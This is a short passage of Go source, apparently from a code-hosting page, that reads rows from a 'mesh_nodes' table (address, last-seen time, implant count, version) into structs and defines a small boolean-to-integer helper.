rows, err := s.db.Query(`SELECT id, addr, last_seen, implant_count, version FROM mesh_nodes ORDER BY last_seen DESC`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var out []protocol.MeshNode
|
||||
for rows.Next() {
|
||||
var n protocol.MeshNode
|
||||
if err := rows.Scan(&n.ID, &n.Addr, &n.LastSeen, &n.Implants, &n.Version); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, n)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
func boolToInt(b bool) int {
|
||||
if b {
|
||||
return 1
|
||||
}
|
||||
return 0
|
||||
}
|
||||
Reference in New Issue
Block a user